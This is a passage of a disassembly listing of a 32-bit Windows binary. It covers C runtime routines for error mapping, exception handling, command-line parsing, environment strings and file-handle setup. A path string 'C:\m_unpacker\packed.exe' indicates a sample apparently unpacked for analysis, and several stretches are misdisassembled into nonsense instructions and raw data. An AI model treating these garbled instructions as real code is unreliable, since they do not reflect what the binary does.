loc_41C55C: ; CODE XREF: sub_41C40A+145j
call ds:dword_421088 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41C503
; ---------------------------------------------------------------------------
loc_41C567: ; CODE XREF: sub_41C40A+10Fj
push [ebp+arg_0]
call sub_41C5B7
pop ecx
jmp short loc_41C5AF
; ---------------------------------------------------------------------------
loc_41C572: ; CODE XREF: sub_41C40A+7Bj
; sub_41C40A+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41C587
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_41C454
loc_41C587: ; CODE XREF: sub_41C40A+16Fj
mov ds:dword_469474, 1Ch
mov ds:dword_469478, edi
jmp short loc_41C5AF
; ---------------------------------------------------------------------------
loc_41C599: ; CODE XREF: sub_41C40A+FEj
sub eax, [ebp+var_10]
jmp short loc_41C5B2
; ---------------------------------------------------------------------------
loc_41C59E: ; CODE XREF: sub_41C40A+15j
; sub_41C40A+37j
and ds:dword_469478, 0
mov ds:dword_469474, 9
loc_41C5AF: ; CODE XREF: sub_41C40A+120j
; sub_41C40A+166j ...
or eax, 0FFFFFFFFh
loc_41C5B2: ; CODE XREF: sub_41C40A+4Cj
; sub_41C40A+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41C40A endp
; =============== S U B R O U T I N E =======================================
sub_41C5B7 proc near ; CODE XREF: sub_4176E9+16p
; sub_4178DC+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov ds:dword_469478, ecx
mov eax, offset dword_4381C0
loc_41C5C8: ; CODE XREF: sub_41C5B7+1Ej
cmp ecx, [eax]
jz short loc_41C5EC
add eax, 8
inc edx
cmp eax, offset dword_438328
jl short loc_41C5C8
cmp ecx, 13h
jb short loc_41C5F9
cmp ecx, 24h
ja short loc_41C5F9
mov ds:dword_469474, 0Dh
retn
; ---------------------------------------------------------------------------
loc_41C5EC: ; CODE XREF: sub_41C5B7+13j
mov eax, ds:dword_4381C4[edx*8]
mov ds:dword_469474, eax
retn
; ---------------------------------------------------------------------------
loc_41C5F9: ; CODE XREF: sub_41C5B7+23j
; sub_41C5B7+28j
cmp ecx, 0BCh
jb short loc_41C613
cmp ecx, 0CAh
mov ds:dword_469474, 8
jbe short locret_41C61D
loc_41C613: ; CODE XREF: sub_41C5B7+48j
mov ds:dword_469474, 16h
locret_41C61D: ; CODE XREF: sub_41C5B7+5Aj
retn
sub_41C5B7 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_41C75F
test eax, eax
pop ecx
jz loc_41C753
mov ebx, [eax+8]
test ebx, ebx
jz loc_41C753
cmp ebx, 5
jnz short loc_41C64F
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_41C75C
; ---------------------------------------------------------------------------
loc_41C64F: ; CODE XREF: seg000:0041C641j
cmp ebx, 1
jz loc_41C74E
mov ecx, ds:dword_469524
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov ds:dword_469524, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41C73E
mov ecx, ds:dword_4383A0
mov edx, ds:dword_4383A4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_41C69E
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:438330h[esi*4]
loc_41C695: ; CODE XREF: seg000:0041C69Cj
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_41C695
loc_41C69E: ; CODE XREF: seg000:0041C687j
mov eax, [eax]
mov esi, ds:dword_4383AC
cmp eax, 0C000008Eh
jnz short loc_41C6B9
mov ds:dword_4383AC, 83h
jmp short loc_41C729
; ---------------------------------------------------------------------------
loc_41C6B9: ; CODE XREF: seg000:0041C6ABj
cmp eax, 0C0000090h
jnz short loc_41C6CC
mov ds:dword_4383AC, 81h
jmp short loc_41C729
; ---------------------------------------------------------------------------
loc_41C6CC: ; CODE XREF: seg000:0041C6BEj
cmp eax, 0C0000091h
jnz short loc_41C6DF
mov ds:dword_4383AC, 84h
jmp short loc_41C729
; ---------------------------------------------------------------------------
loc_41C6DF: ; CODE XREF: seg000:0041C6D1j
cmp eax, 0C0000093h
jnz short loc_41C6F2
mov ds:dword_4383AC, 85h
jmp short loc_41C729
; ---------------------------------------------------------------------------
loc_41C6F2: ; CODE XREF: seg000:0041C6E4j
cmp eax, 0C000008Dh
jnz short loc_41C705
mov ds:dword_4383AC, 82h
jmp short loc_41C729
; ---------------------------------------------------------------------------
loc_41C705: ; CODE XREF: seg000:0041C6F7j
cmp eax, 0C000008Fh
jnz short loc_41C718
mov ds:dword_4383AC, 86h
jmp short loc_41C729
; ---------------------------------------------------------------------------
loc_41C718: ; CODE XREF: seg000:0041C70Aj
cmp eax, 0C0000092h
jnz short loc_41C729
mov ds:dword_4383AC, 8Ah
loc_41C729: ; CODE XREF: seg000:0041C6B7j
; seg000:0041C6CAj ...
push ds:dword_4383AC
push 8
call ebx
pop ecx
mov ds:dword_4383AC, esi
pop ecx
pop esi
jmp short loc_41C746
; ---------------------------------------------------------------------------
loc_41C73E: ; CODE XREF: seg000:0041C670j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41C746: ; CODE XREF: seg000:0041C73Cj
mov eax, [ebp+8]
mov ds:dword_469524, eax
loc_41C74E: ; CODE XREF: seg000:0041C652j
or eax, 0FFFFFFFFh
jmp short loc_41C75C
; ---------------------------------------------------------------------------
loc_41C753: ; CODE XREF: seg000:0041C62Dj
; seg000:0041C638j
push dword ptr [ebp+0Ch]
call ds:dword_4211A0 ; UnhandledExceptionFilter
loc_41C75C: ; CODE XREF: seg000:0041C64Aj
; seg000:0041C751j
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_41C75F proc near ; CODE XREF: seg000:0041C625p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, ds:dword_4383A8
cmp ds:dword_438328, edx
push esi
mov eax, offset dword_438328
jz short loc_41C78C
lea esi, [ecx+ecx*2]
lea esi, ds:438328h[esi*4]
loc_41C781: ; CODE XREF: sub_41C75F+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_41C78C
cmp [eax], edx
jnz short loc_41C781
loc_41C78C: ; CODE XREF: sub_41C75F+16j
; sub_41C75F+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:438328h[ecx*4]
cmp eax, ecx
jnb short loc_41C79F
cmp [eax], edx
jz short locret_41C7A1
loc_41C79F: ; CODE XREF: sub_41C75F+3Aj
xor eax, eax
locret_41C7A1: ; CODE XREF: sub_41C75F+3Ej
retn
sub_41C75F endp
; ---------------------------------------------------------------------------
cmp ds:dword_46AAEC, 0
jnz short loc_41C7B0
call sub_41C364
loc_41C7B0: ; CODE XREF: seg000:0041C7A9j
push esi
mov esi, ds:dword_46AAE4
mov al, [esi]
cmp al, 22h
jnz short loc_41C7E2
loc_41C7BD: ; CODE XREF: seg000:0041C7D5j
; seg000:0041C7D8j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41C7DA
test al, al
jz short loc_41C7DA
movzx eax, al
push eax
call sub_41E68C
test eax, eax
pop ecx
jz short loc_41C7BD
inc esi
jmp short loc_41C7BD
; ---------------------------------------------------------------------------
loc_41C7DA: ; CODE XREF: seg000:0041C7C3j
; seg000:0041C7C7j
cmp byte ptr [esi], 22h
jnz short loc_41C7EC
loc_41C7DF: ; CODE XREF: seg000:0041C7F4j
inc esi
jmp short loc_41C7EC
; ---------------------------------------------------------------------------
loc_41C7E2: ; CODE XREF: seg000:0041C7BBj
cmp al, 20h
jbe short loc_41C7EC
loc_41C7E6: ; CODE XREF: seg000:0041C7EAj
inc esi
cmp byte ptr [esi], 20h
ja short loc_41C7E6
loc_41C7EC: ; CODE XREF: seg000:0041C7DDj
; seg000:0041C7E0j ...
mov al, [esi]
test al, al
jz short loc_41C7F6
cmp al, 20h
jbe short loc_41C7DF
loc_41C7F6: ; CODE XREF: seg000:0041C7F0j
mov eax, esi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_41C7FA proc near ; CODE XREF: seg000:00417B66p
push ebx
xor ebx, ebx
cmp ds:dword_46AAEC, ebx
push esi
push edi
jnz short loc_41C80C
call sub_41C364
loc_41C80C: ; CODE XREF: sub_41C7FA+Bj
mov esi, ds:dword_4694C0
xor edi, edi
loc_41C814: ; CODE XREF: sub_41C7FA+30j
mov al, [esi]
cmp al, bl
jz short loc_41C82C
cmp al, 3Dh
jz short loc_41C81F
inc edi
loc_41C81F: ; CODE XREF: sub_41C7FA+22j
push esi
call sub_415CD0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41C814
; ---------------------------------------------------------------------------
loc_41C82C: ; CODE XREF: sub_41C7FA+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_415DA9
mov esi, eax
pop ecx
cmp esi, ebx
mov ds:dword_46949C, esi
jnz short loc_41C84E
push 9
call sub_417BCE
pop ecx
loc_41C84E: ; CODE XREF: sub_41C7FA+4Aj
mov edi, ds:dword_4694C0
cmp [edi], bl
jz short loc_41C891
push ebp
loc_41C859: ; CODE XREF: sub_41C7FA+94j
push edi
call sub_415CD0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41C88A
push ebp
call sub_415DA9
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_41C87D
push 9
call sub_417BCE
pop ecx
loc_41C87D: ; CODE XREF: sub_41C7FA+79j
push edi
push dword ptr [esi]
call sub_415BE0
pop ecx
add esi, 4
pop ecx
loc_41C88A: ; CODE XREF: sub_41C7FA+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_41C859
pop ebp
loc_41C891: ; CODE XREF: sub_41C7FA+5Cj
push ds:dword_4694C0
call sub_415E1D
pop ecx
mov ds:dword_4694C0, ebx
mov [esi], ebx
pop edi
pop esi
mov ds:dword_46AAE8, 1
pop ebx
retn
sub_41C7FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C8B3 proc near ; CODE XREF: seg000:00417B61p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp ds:dword_46AAEC, ebx
push esi
push edi
jnz short loc_41C8CA
call sub_41C364
loc_41C8CA: ; CODE XREF: sub_41C8B3+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call near ptr 0CF0004h
imul esp, ds:dword_46AAE4[ecx], -77h
xor eax, offset off_4694AC
mov edi, esi
cmp [eax], bl
jz short loc_41C8EF
mov edi, eax
loc_41C8EF: ; CODE XREF: sub_41C8B3+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_41C94C
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_415DA9
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_41C91F
push 8
call sub_417BCE
pop ecx
loc_41C91F: ; CODE XREF: sub_41C8B3+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_41C94C
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov ds:dword_469494, esi
pop edi
pop esi
mov ds:dword_469490, eax
pop ebx
leave
retn
sub_41C8B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C94C proc near ; CODE XREF: sub_41C8B3+47p
; sub_41C8B3+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_41C976
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41C976: ; CODE XREF: sub_41C94C+20j
cmp byte ptr [eax], 22h
jnz short loc_41C9BF
loc_41C97B: ; CODE XREF: sub_41C94C+58j
; sub_41C94C+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41C9AD
test dl, dl
jz short loc_41C9AD
movzx edx, dl
test ds:byte_46A9C1[edx], 4
jz short loc_41C9A0
inc dword ptr [ecx]
test esi, esi
jz short loc_41C9A0
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_41C9A0: ; CODE XREF: sub_41C94C+46j
; sub_41C94C+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_41C97B
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41C97B
; ---------------------------------------------------------------------------
loc_41C9AD: ; CODE XREF: sub_41C94C+36j
; sub_41C94C+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_41C9B7
and byte ptr [esi], 0
inc esi
loc_41C9B7: ; CODE XREF: sub_41C94C+65j
cmp byte ptr [eax], 22h
jnz short loc_41CA02
inc eax
jmp short loc_41CA02
; ---------------------------------------------------------------------------
loc_41C9BF: ; CODE XREF: sub_41C94C+2Dj
; sub_41C94C+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41C9CA
mov dl, [eax]
mov [esi], dl
inc esi
loc_41C9CA: ; CODE XREF: sub_41C94C+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test ds:byte_46A9C1[ebx], 4
jz short loc_41C9E5
inc dword ptr [ecx]
test esi, esi
jz short loc_41C9E4
mov bl, [eax]
mov [esi], bl
inc esi
loc_41C9E4: ; CODE XREF: sub_41C94C+91j
inc eax
loc_41C9E5: ; CODE XREF: sub_41C94C+8Bj
cmp dl, 20h
jz short loc_41C9F3
test dl, dl
jz short loc_41C9F7
cmp dl, 9
jnz short loc_41C9BF
loc_41C9F3: ; CODE XREF: sub_41C94C+9Cj
test dl, dl
jnz short loc_41C9FA
loc_41C9F7: ; CODE XREF: sub_41C94C+A0j
dec eax
jmp short loc_41CA02
; ---------------------------------------------------------------------------
loc_41C9FA: ; CODE XREF: sub_41C94C+A9j
test esi, esi
jz short loc_41CA02
and byte ptr [esi-1], 0
loc_41CA02: ; CODE XREF: sub_41C94C+6Ej
; sub_41C94C+71j ...
and [ebp+arg_10], 0
loc_41CA06: ; CODE XREF: sub_41C94C+19Ej
cmp byte ptr [eax], 0
jz loc_41CAEF
loc_41CA0F: ; CODE XREF: sub_41C94C+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41CA1B
cmp dl, 9
jnz short loc_41CA1E
loc_41CA1B: ; CODE XREF: sub_41C94C+C8j
inc eax
jmp short loc_41CA0F
; ---------------------------------------------------------------------------
loc_41CA1E: ; CODE XREF: sub_41C94C+CDj
cmp byte ptr [eax], 0
jz loc_41CAEF
test edi, edi
jz short loc_41CA33
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41CA33: ; CODE XREF: sub_41C94C+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41CA38: ; CODE XREF: sub_41C94C+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_41CA41: ; CODE XREF: sub_41C94C+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41CA4A
inc eax
inc ebx
jmp short loc_41CA41
; ---------------------------------------------------------------------------
loc_41CA4A: ; CODE XREF: sub_41C94C+F8j
cmp byte ptr [eax], 22h
jnz short loc_41CA7B
test bl, 1
jnz short loc_41CA79
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_41CA68
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_41CA68
mov eax, edx
jmp short loc_41CA6B
; ---------------------------------------------------------------------------
loc_41CA68: ; CODE XREF: sub_41C94C+10Dj
; sub_41C94C+116j
mov [ebp+arg_0], edi
loc_41CA6B: ; CODE XREF: sub_41C94C+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_41CA79: ; CODE XREF: sub_41C94C+106j
shr ebx, 1
loc_41CA7B: ; CODE XREF: sub_41C94C+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_41CA90
inc ebx
loc_41CA83: ; CODE XREF: sub_41C94C+142j
test esi, esi
jz short loc_41CA8B
mov byte ptr [esi], 5Ch
inc esi
loc_41CA8B: ; CODE XREF: sub_41C94C+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_41CA83
loc_41CA90: ; CODE XREF: sub_41C94C+134j
mov dl, [eax]
test dl, dl
jz short loc_41CAE0
cmp [ebp+arg_10], 0
jnz short loc_41CAA6
cmp dl, 20h
jz short loc_41CAE0
cmp dl, 9
jz short loc_41CAE0
loc_41CAA6: ; CODE XREF: sub_41C94C+14Ej
cmp [ebp+arg_0], 0
jz short loc_41CADA
test esi, esi
jz short loc_41CAC9
movzx ebx, dl
test ds:byte_46A9C1[ebx], 4
jz short loc_41CAC2
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_41CAC2: ; CODE XREF: sub_41C94C+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41CAD8
; ---------------------------------------------------------------------------
loc_41CAC9: ; CODE XREF: sub_41C94C+162j
movzx edx, dl
test ds:byte_46A9C1[edx], 4
jz short loc_41CAD8
inc eax
inc dword ptr [ecx]
loc_41CAD8: ; CODE XREF: sub_41C94C+17Bj
; sub_41C94C+187j
inc dword ptr [ecx]
loc_41CADA: ; CODE XREF: sub_41C94C+15Ej
inc eax
jmp loc_41CA38
; ---------------------------------------------------------------------------
loc_41CAE0: ; CODE XREF: sub_41C94C+148j
; sub_41C94C+153j ...
test esi, esi
jz short loc_41CAE8
and byte ptr [esi], 0
inc esi
loc_41CAE8: ; CODE XREF: sub_41C94C+196j
inc dword ptr [ecx]
jmp loc_41CA06
; ---------------------------------------------------------------------------
loc_41CAEF: ; CODE XREF: sub_41C94C+BDj
; sub_41C94C+D5j
test edi, edi
jz short loc_41CAF6
and dword ptr [edi], 0
loc_41CAF6: ; CODE XREF: sub_41C94C+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41C94C endp
; =============== S U B R O U T I N E =======================================
sub_41CB00 proc near ; CODE XREF: seg000:00417B57p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, ds:dword_46962C
push ebx
push ebp
mov ebp, ds:dword_42103C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_41CB4E
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_41CB2F
mov ds:dword_46962C, 1
jmp short loc_41CB57
; ---------------------------------------------------------------------------
loc_41CB2F: ; CODE XREF: sub_41CB00+21j
call ds:dword_421040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz loc_41CC29
mov ds:dword_46962C, 2
jmp loc_41CBDD
; ---------------------------------------------------------------------------
loc_41CB4E: ; CODE XREF: sub_41CB00+19j
cmp eax, 1
jnz loc_41CBD8
loc_41CB57: ; CODE XREF: sub_41CB00+2Dj
cmp esi, ebx
jnz short loc_41CB67
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_41CC29
loc_41CB67: ; CODE XREF: sub_41CB00+59j
cmp [esi], bx
mov eax, esi
jz short loc_41CB7C
loc_41CB6E: ; CODE XREF: sub_41CB00+73j
; sub_41CB00+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_41CB6E
inc eax
inc eax
cmp [eax], bx
jnz short loc_41CB6E
loc_41CB7C: ; CODE XREF: sub_41CB00+6Cj
sub eax, esi
mov edi, ds:dword_421138
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_41CBCD
push ebp
call sub_415DA9
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_41CBCD
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_41CBC9
push [esp+18h+var_8]
call sub_415E1D
pop ecx
mov [esp+18h+var_8], ebx
loc_41CBC9: ; CODE XREF: sub_41CB00+B9j
mov ebx, [esp+18h+var_8]
loc_41CBCD: ; CODE XREF: sub_41CB00+99j
; sub_41CB00+A8j
push esi
call ds:dword_421044 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CBD8: ; CODE XREF: sub_41CB00+51j
cmp eax, 2
jnz short loc_41CC29
loc_41CBDD: ; CODE XREF: sub_41CB00+49j
cmp edi, ebx
jnz short loc_41CBED
call ds:dword_421040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz short loc_41CC29
loc_41CBED: ; CODE XREF: sub_41CB00+DFj
cmp [edi], bl
mov eax, edi
jz short loc_41CBFD
loc_41CBF3: ; CODE XREF: sub_41CB00+F6j
; sub_41CB00+FBj
inc eax
cmp [eax], bl
jnz short loc_41CBF3
inc eax
cmp [eax], bl
jnz short loc_41CBF3
loc_41CBFD: ; CODE XREF: sub_41CB00+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_415DA9
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41CC13
xor esi, esi
jmp short loc_41CC1E
; ---------------------------------------------------------------------------
loc_41CC13: ; CODE XREF: sub_41CB00+10Dj
push ebp
push edi
push esi
call sub_4155B0
add esp, 0Ch
loc_41CC1E: ; CODE XREF: sub_41CB00+111j
push edi
call near ptr 3D0000h
movsd
mov eax, esi
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC29: ; CODE XREF: sub_41CB00+39j
; sub_41CB00+61j ...
xor eax, eax
loc_41CC2B: ; CODE XREF: sub_41CB00+D6j
; sub_41CB00+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_41CB00 endp
; ---------------------------------------------------------------------------
loc_41CC32: ; CODE XREF: seg000:00417B47p
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_415DA9
mov esi, eax
pop ecx
test esi, esi
jnz short loc_41CC52
push 1Bh
call sub_417BCE
pop ecx
loc_41CC52: ; CODE XREF: seg000:0041CC48j
mov ds:dword_46A7A0, esi
mov ds:dword_46A8A0, 20h
lea eax, [esi+100h]
loc_41CC68: ; CODE XREF: seg000:0041CC84j
cmp esi, eax
jnb short loc_41CC86
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, ds:dword_46A7A0
add esi, 8
add eax, 100h
jmp short loc_41CC68
; ---------------------------------------------------------------------------
loc_41CC86: ; CODE XREF: seg000:0041CC6Aj
lea eax, [esp+10h]
push eax
call near ptr 0BF0004h
xor [esi-7Dh], ah
jl short loc_41CCB9
inc edx
add [edi], cl
test al, ch
; ---------------------------------------------------------------------------
dw 0
dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h
dd 2E1C8DF0h
db 7Ch
; ---------------------------------------------------------------------------
loc_41CCB9: ; CODE XREF: seg000:0041CC93j
add cl, [ebx-5FCAC610h]
test al, 46h
add [ebp+52h], bh
mov edi, offset dword_46A7A4
loc_41CCC9: ; CODE XREF: seg000:0041CD0Cj
push 100h
call sub_415DA9
test eax, eax
pop ecx
jz short loc_41CD10
add ds:dword_46A8A0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41CCE7: ; CODE XREF: seg000:0041CD01j
cmp eax, ecx
jnb short loc_41CD03
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41CCE7
; ---------------------------------------------------------------------------
loc_41CD03: ; CODE XREF: seg000:0041CCE9j
add edi, 4
cmp ds:dword_46A8A0, esi
jl short loc_41CCC9
jmp short loc_41CD16
; ---------------------------------------------------------------------------
loc_41CD10: ; CODE XREF: seg000:0041CCD6j
mov esi, ds:dword_46A8A0
loc_41CD16: ; CODE XREF: seg000:0041CD0Ej
xor edi, edi
test esi, esi
jle short loc_41CD62
loc_41CD1C: ; CODE XREF: seg000:0041CD60j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41CD59
mov cl, [ebp+0]
test cl, 1
jz short loc_41CD59
test cl, 8
jnz short near ptr loc_41CD36+5
push eax
call near ptr 3D0000h
loc_41CD36: ; CODE XREF: seg000:0041CD2Ej
mov [ebp-74E18B40h], eax
mov dword ptr [ebx+5F8C1CFh], 8B1FE183h
add al, 85h
mov al, ds:8D0046A7h
add al, 0C8h
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41CD59: ; CODE XREF: seg000:0041CD21j
; seg000:0041CD29j
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41CD1C
loc_41CD62: ; CODE XREF: seg000:0041CD1Aj
xor ebx, ebx
loc_41CD64: ; CODE XREF: seg000:0041CDC7j
mov eax, ds:dword_46A7A0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_41CDBF
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_41CD7F
push 0FFFFFFF6h
pop eax
jmp short loc_41CD89
; ---------------------------------------------------------------------------
loc_41CD7F: ; CODE XREF: seg000:0041CD78j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41CD89: ; CODE XREF: seg000:0041CD7Dj
push eax
call near ptr 0C10004h
fisttp word ptr [ebx-7C08h]
jz short loc_41CDAE
push edi
call near ptr 0C30004h
xchg eax, ebx
test eax, eax
jz short loc_41CDAE
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_41CDB4
loc_41CDAE: ; CODE XREF: seg000:0041CD95j
; seg000:0041CDA0j
or byte ptr [esi+4], 40h
jmp short loc_41CDC3
; ---------------------------------------------------------------------------
loc_41CDB4: ; CODE XREF: seg000:0041CDACj
cmp eax, 3
jnz short loc_41CDC3
or byte ptr [esi+4], 8
jmp short loc_41CDC3
; ---------------------------------------------------------------------------
loc_41CDBF: ; CODE XREF: seg000:0041CD70j
or byte ptr [esi+4], 80h
loc_41CDC3: ; CODE XREF: seg000:0041CDB2j
; seg000:0041CDB7j ...
inc ebx
cmp ebx, 3
jl short loc_41CD64
push ds:dword_46A8A0
call near ptr 0C50004h
dec eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CDE8 proc near ; DATA XREF: seg000:00417AE2o
; sub_41A67A+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41CE88
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41CE1B: ; CODE XREF: sub_41CDE8+90j
cmp esi, 0FFFFFFFFh
jz short loc_41CE81
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41CE6F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41CE6F
js short loc_41CE7A
mov edi, [ebx+8]
push ebx
call sub_416348
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41638A
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41641E
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41CE6F: ; CODE XREF: sub_41CDE8+40j
; sub_41CDE8+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41CE1B
; ---------------------------------------------------------------------------
loc_41CE7A: ; CODE XREF: sub_41CDE8+54j
mov eax, 0
jmp short loc_41CE9D
; ---------------------------------------------------------------------------
loc_41CE81: ; CODE XREF: sub_41CDE8+36j
mov eax, 1
jmp short loc_41CE9D
; ---------------------------------------------------------------------------
loc_41CE88: ; CODE XREF: sub_41CDE8+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41638A
add esp, 8
pop ebp
mov eax, 1
loc_41CE9D: ; CODE XREF: sub_41CDE8+97j
; sub_41CDE8+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CDE8 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41638A
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41CEC0 proc near ; CODE XREF: sub_417BCE+9p
